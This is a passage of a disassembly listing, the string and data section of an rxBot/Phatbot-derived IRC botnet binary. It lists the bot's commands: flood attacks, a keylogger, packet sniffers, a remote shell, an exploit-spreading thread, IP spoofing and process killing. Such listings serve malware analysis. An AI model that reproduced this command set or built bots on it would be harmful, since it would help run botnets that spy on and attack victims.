aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A79o
		align 10h
; char aRepeat[]
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A62o
					; sub_401ACD+6BE8o
		align 4
; char aTsn[]
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Bo
; char aTsunami[]
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A34o
; char aT3[]
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Do
		align 4
; char aTarga3[]
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A06o
		align 10h
; char aC_p[]
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EFo
; char aC_part[]
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D8o
		align 4
; char aC_j[]
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C1o
; char aC_join[]
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49AAo
		align 4
; char aC_n[]
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4993o
; char aC_nick[]
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Co
		align 4
; char aC_m[]
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4965o
; char aC_mode[]
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Eo
		align 10h
; char aC_r[]
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4937o
; char aC_raw[]
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+4920o
		align 4
; char aM_0[]
aM_0:					; DATA XREF: sub_401ACD+4909o
					; .data:00438348o ...
		unicode	0, <m>,0
; char aCy[]
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DBo
		align 4
; char aCycle[]
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C4o
		align 4
; char aA[]
aA:					; DATA XREF: sub_401ACD+48ADo
					; .data:0043830Co
		unicode	0, <a>,0
; char aAction[]
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4896o
		align 4
; char aPrivmsg_0[]
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4868o
; char aAa[]
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4851o
		align 4
; char aAddalias[]
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+483Ao
		align 10h
; char aKl[]
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4823o
		align 4
; char aKilllog[]
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Co
; char aGh[]
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E3o
		align 10h
; char aGethost[]
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CEo
; char aCap[]
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B9o
; char aCapture[]
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A4o
unk_42B424	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406266o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B440	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
; char aSend_0[]
aSend_0		db 'send',0             ; DATA XREF: sub_401ACD+475Fo
					; sub_409B13+5F0o
		align 4
unk_42B46C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B48C	db  2Dh	; -		; DATA XREF: sub_401ACD+4748o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B4AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406194o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
; char aShare[]
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Fo
		align 4
; char aContinue[]
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Bo
		align 4
; char aPause[]
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4611o
		align 4
; char aStop[]
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F7o
		align 4
unk_42B514	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B534	db  2Dh	; -		; DATA XREF: sub_401ACD+45E0o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
; char aStart[]
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45AAo
		align 10h
unk_42B560	db  2Dh	; -		; DATA XREF: sub_401ACD+4578o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
; char aNet[]
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4554o
dword_42B59C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4549o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
; char asc_42B5D8[]
asc_42B5D8	db '-'                  ; DATA XREF: sub_401ACD+44DAo
		db 3, 34h, 2
		dd 6C79656Bh, 302676Fh
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42B5FC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4458o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42B61C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Fo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42B648	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4438o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
; char aFile[]
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F9o
		align 4
; char aKeylog[]
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D7o
		align 4
dword_42B694	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E99o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42B6B4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C2o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B6EC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4392o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
; char asc_42B720[]
asc_42B720	db '-'                  ; DATA XREF: sub_401ACD+4345o
		db 3, 34h, 2
		dd 6E656469h, 3026474h
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B74C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4335o
aAlreadyRunni_0	db '- Already running.',0
		align 4
; char aIdent[]
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4302o
		align 4
unk_42B774	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC4o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B7A4	db  2Dh	; -		; DATA XREF: sub_401ACD+42EDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7E4	db  2Dh	; -		; DATA XREF: sub_401ACD+42BDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
; char asc_42B820[]
asc_42B820	db '-'                  ; DATA XREF: sub_401ACD+424Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B850	db  2Dh	; -		; DATA XREF: sub_401ACD+41E7o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
; char aSniffer[]
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41B0o
dword_42B878	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C72o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B8A4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Bo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B8E0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Bo
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
; char asc_42B91C[]
asc_42B91C	db '-'                  ; DATA XREF: sub_401ACD+40FCo
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B94C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4095o
aAlreadyRunni_2	db '- Already running.',0
		align 4
; char aOn[]
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4075o
					; sub_401ACD+41C7o ...
		align 10h
; char aPsniff[]
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Eo
		align 4
; char aRf[]
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4049o
		align 4
; char aReadfile[]
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4034o
		align 4
; char aCm[]
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Fo
		align 4
; char aCmd[]
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+400Ao
; char aMirc[]
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF5o
		align 4
; char aMirccmd[]
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FE0o
; char aV[]
aV:					; DATA XREF: sub_401ACD+3FCBo
					; .data:0043833Co ...
		unicode	0, <v>,0
; char aVisit[]
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB6o
		align 4
; char aLi[]
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA1o
		align 10h
; char aList[]
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Co
		align 4
; char aGt[]
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F77o
		align 4
; char aDel[]
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Do
; char aDelete[]
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F38o
					; sub_401ACD+4645o
		align 4
; char aKi[]
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F23o
		align 4
; char aKill[]
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Eo
		align 4
; char aKp[]
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF9o
		align 4
; char aKillproc[]
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE4o
		align 4
; char aDn[]
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECFo
		align 4
; char aDns[]
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EBAo
; char aSe[]
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA5o
		align 10h
; char aO[]
aO:					; DATA XREF: sub_401ACD+3E7Bo
					; .data:0043866Co
		unicode	0, <o>,0
; char aOpen[]
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E66o
					; sub_401ACD+590Co ...
		align 4
; char aPr[]
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E51o
		align 10h
; char aPrefix[]
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Co
		align 4
; char aC_rn[]
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E27o
		align 10h
; char aC_rndnick[]
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E12o
		align 4
; char aC_q[]
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFDo
; char aC_quit[]
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE8o
		align 4
; char aK[]
aK:					; DATA XREF: sub_401ACD+3DD3o
					; .data:00438328o ...
		unicode	0, <k>,0
; char aKillthread[]
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBEo
		align 4
; char aRaw[]
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D94o
; char aPt[]
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Fo
		align 10h
; char aJ[]
aJ:					; DATA XREF: sub_401ACD+3D55o
					; .data:00438324o ...
		unicode	0, <j>,0
; char aN[]
aN:					; DATA XREF: sub_401ACD+3D2Bo
					; .data:00438344o ...
		unicode	0, <n>,0
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF7o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 10h
; char aNickservRegist[]
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C93o
; char aRegister[]
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C6Ao
		align 4
; char aPrivmsgSS_0[]
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C11o
		align 4
; char aMix[]
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B44o
; char aPrivmsgS_3[]
aPrivmsgS_3	db 'PRIVMSG %s :'       ; DATA XREF: sub_401ACD+3AF0o
					; sub_401ACD+3B27o
		dd 6E696601h, 1726567h,	0
; char aPrivmsgS_2[]
aPrivmsgS_2	db 'PRIVMSG %s :'       ; DATA XREF: sub_401ACD+3AB9o
		dd 72657601h, 6E6F6973h, 1
; char aPrivmsgS_1[]
aPrivmsgS_1	db 'PRIVMSG %s :'       ; DATA XREF: sub_401ACD+3A82o
					; sub_401ACD+3B99o
		dd 6E697001h, 167h
; char aCtcp[]
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Do
		align 4
; char aNoticeSS_1[]
aNoticeSS_1	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3998o
					; sub_401ACD+39D4o ...
		align 4
; char aNotice_0[]
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Eo
		align 4
; char aMsg[]
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Fo
; char aChgnick[]
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3808o
; char aNick_0[]
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3706o
					; sub_401ACD+3D16o
		align 10h
; char aPrivmsgS_0[]
aPrivmsgS_0	db 'PRIVMSG %s :'       ; DATA XREF: sub_401ACD+36E9o
		dd 43434401h, 4E455320h, 64252044h, 2064252Eh, 25206425h
		dd 64252064h, 1
; char aDcc[]
aDcc		db 'dcc',0              ; DATA XREF: sub_401ACD+366Co
; char aJoinPart[]
aJoinPart	db 'join/part',0        ; DATA XREF: sub_401ACD+351Fo
		align 4
; char aNickS_0[]
aNickS_0	db 'NICK %s',0          ; DATA XREF: sub_401ACD+3502o
					; sub_401ACD+3763o ...
; char aSI[]
aSI		db '%s%i',0             ; DATA XREF: sub_401ACD+34E7o
					; sub_40ACB6+4Fo ...
		align 4
; char aPnick[]
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A6o
		align 10h
; char aPartSS[]
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3489o
					; sub_401ACD+3579o ...
		align 4
; char aPartflood[]
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3462o
		align 4
; char aPartS[]
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3445o
; char aPart_0[]
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3423o
					; sub_401ACD+3D6Ao
		align 4
; char aJoinS[]
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3406o
					; sub_401ACD+354Do ...
; char aJoin[]
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E4o
					; sub_401ACD+3D40o
		align 4
; char aModeSS[]
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C7o
		align 4
; char aMode[]
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3378o
					; sub_401ACD+48F2o
		align 4
; char aNoticeSS_0[]
aNoticeSS_0	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Bo
		align 4
; char aNt[]
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Co
		align 10h
; char aPrivmsgS[]
aPrivmsgS	db 'privmsg %s :'       ; DATA XREF: sub_401ACD+32EFo
		dd 1732501h, 0
; char aCt[]
aCt		db 'ct',0               ; DATA XREF: sub_401ACD+32A0o
		align 4
; char aPrivmsgSS[]
aPrivmsgSS	db 'privmsg %s :%s',0   ; DATA XREF: sub_401ACD+3283o
					; sub_401ACD+38A9o ...
		align 4
; char a_[]
a_:					; DATA XREF: sub_401ACD+3254o
					; sub_401ACD+32C0o ...
		unicode	0, <_>,0
; char aPm[]
aPm		db 'pm',0               ; DATA XREF: sub_401ACD+3234o
					; sub_401ACD+487Fo
		align 10h
; char asc_42BC00[]
asc_42BC00	db '-'                  ; DATA XREF: sub_401ACD+3202o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
; char aLoad[]
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31ABo
		align 4
; char aFlood[]
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3182o
		align 4
; char aRinms[]
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Bo
		align 4
; char aReconnect_in_m[]
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3156o
; char aRin[]
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3141o
; char aReconnect_in[]
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Co
		align 4
unk_42BC68	db  2Dh	; -		; DATA XREF: sub_401ACD+3121o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
; char asc_42BCA8[]
asc_42BCA8	db '-'                  ; DATA XREF: sub_401ACD+30AFo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
; char aExploit[]
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3029o
; char asc_42BCE0[]
asc_42BCE0	db '-'                  ; DATA XREF: sub_401ACD+300Fo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF1o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
; char aD_D_D_[]
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCDo
		align 4
unk_42BD4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A41o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
; char aGet_0[]
aGet_0		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A23o
					; sub_401ACD+3F62o
unk_42BD88	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42BDB4	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 10h
dword_42BDE0	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Eo
unk_42BDF0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 10h
dword_42BEA0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Co
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 4
; char asc_42BEDC[]
asc_42BEDC	db '-'                  ; DATA XREF: sub_401ACD+2DD2o
		db 3, 34h, 2
		dd 75636573h, 3026572h,	7325202Dh, 73797320h, 2E6D6574h
		dd 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCCo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC5o
		align 10h
unk_42BF10	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Eo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 10h
; char asc_42BF50[]
asc_42BF50	db '-'                  ; DATA XREF: sub_401ACD+2CCAo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BF7C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C48o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
; char asc_42BFB8[]
asc_42BFB8	db '-'                  ; DATA XREF: sub_401ACD+2BD9o
					; sub_4111CE+A8o
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BFE0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B26o
aFindFile	db 'Find file',0        ; DATA XREF: sub_401ACD+2B21o
		align 4
dword_42BFFC	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Eo
aProcessList	db 'Process list',0     ; DATA XREF: sub_401ACD+2B09o
		align 4
dword_42C01C	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A96o
		dd 676E6974h, 2Eh
; char aQuitReconnecti[]
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404556o
					; sub_401ACD:loc_409779o ...
		align 10h
dword_42C050	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A74o
		dd 6E697463h, 2E67h
; char aQuitDisconnect[]
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404534o
		align 4
; char aQuitLater[]
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Eo
					; sub_401ACD+7A7Fo
		align 4
; char aQuitS[]
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Fo
		align 10h
unk_42C0A0	db  2Dh	; -		; DATA XREF: sub_401ACD+2A18o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
; char asc_42C0CC[]
asc_42C0CC	db '-'                  ; DATA XREF: sub_401ACD+29D9o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 20746F42h, 203A4449h, 2E7325h
unk_42C0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+29CAo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 10h
; char asc_42C120[]
asc_42C120	db '-'                  ; DATA XREF: sub_401ACD+295Bo
		db 3, 34h, 2
		dd 65726874h, 2736461h,	4C202D03h, 20747369h, 65726874h
		dd 2E736461h, 0
; char aSub[]
aSub		db 'sub',0              ; DATA XREF: sub_401ACD+2935o
dword_42C144	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E3o
		dd 2E7473h
unk_42C15C	db  2Dh	; -		; DATA XREF: sub_401ACD+28C8o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
; char asc_42C194[]
asc_42C194	db '-'                  ; DATA XREF: sub_401ACD+2859o
		db 3, 34h, 2
		dd 2676F6Ch, 4C202D03h,	69747369h, 6C20676Eh, 2E676Fh
dword_42C1AC	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B4o
		dd 6F666E49h, 2Eh
dword_42C1C8	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2785o
		dd 2E6F666Eh, 0
dword_42C1E4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+2730o
		dd 746F4220h, 2Eh
; char asc_42C200[]
asc_42C200	db '-'                  ; DATA XREF: sub_401ACD+2714o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 4
; char asc_42C23C[]
asc_42C23C	db '-'                  ; DATA XREF: sub_401ACD+269Fo
		db 3, 34h, 2
		dd 636F7270h, 2D030273h, 6F725020h, 73656363h, 696C2073h
		dd 2E7473h
; char aFull[]
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Fo
		align 10h
unk_42C260	db  2Dh	; -		; DATA XREF: sub_401ACD+261Do
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 10h
dword_42C280	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25FAo
aSearchComplete	db '- Search completed.',0
; char asc_42C2A0[]
asc_42C2A0	db '-'                  ; DATA XREF: sub_401ACD+25AEo
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 69747055h, 203A656Dh, 2E7325h
unk_42C2B8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEBo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42C2D8	db  2Dh	; -		; DATA XREF: sub_401ACD+2514o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 10h
unk_42C300	db  2Dh	; -		; DATA XREF: sub_401ACD+24F5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42C32C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DFo
		dd 72616F62h, 2E64h
dword_42C348	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B1o
		dd 2Dh
unk_42C360	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Eo
		db 3, 34h, 2
		db  66h	; f
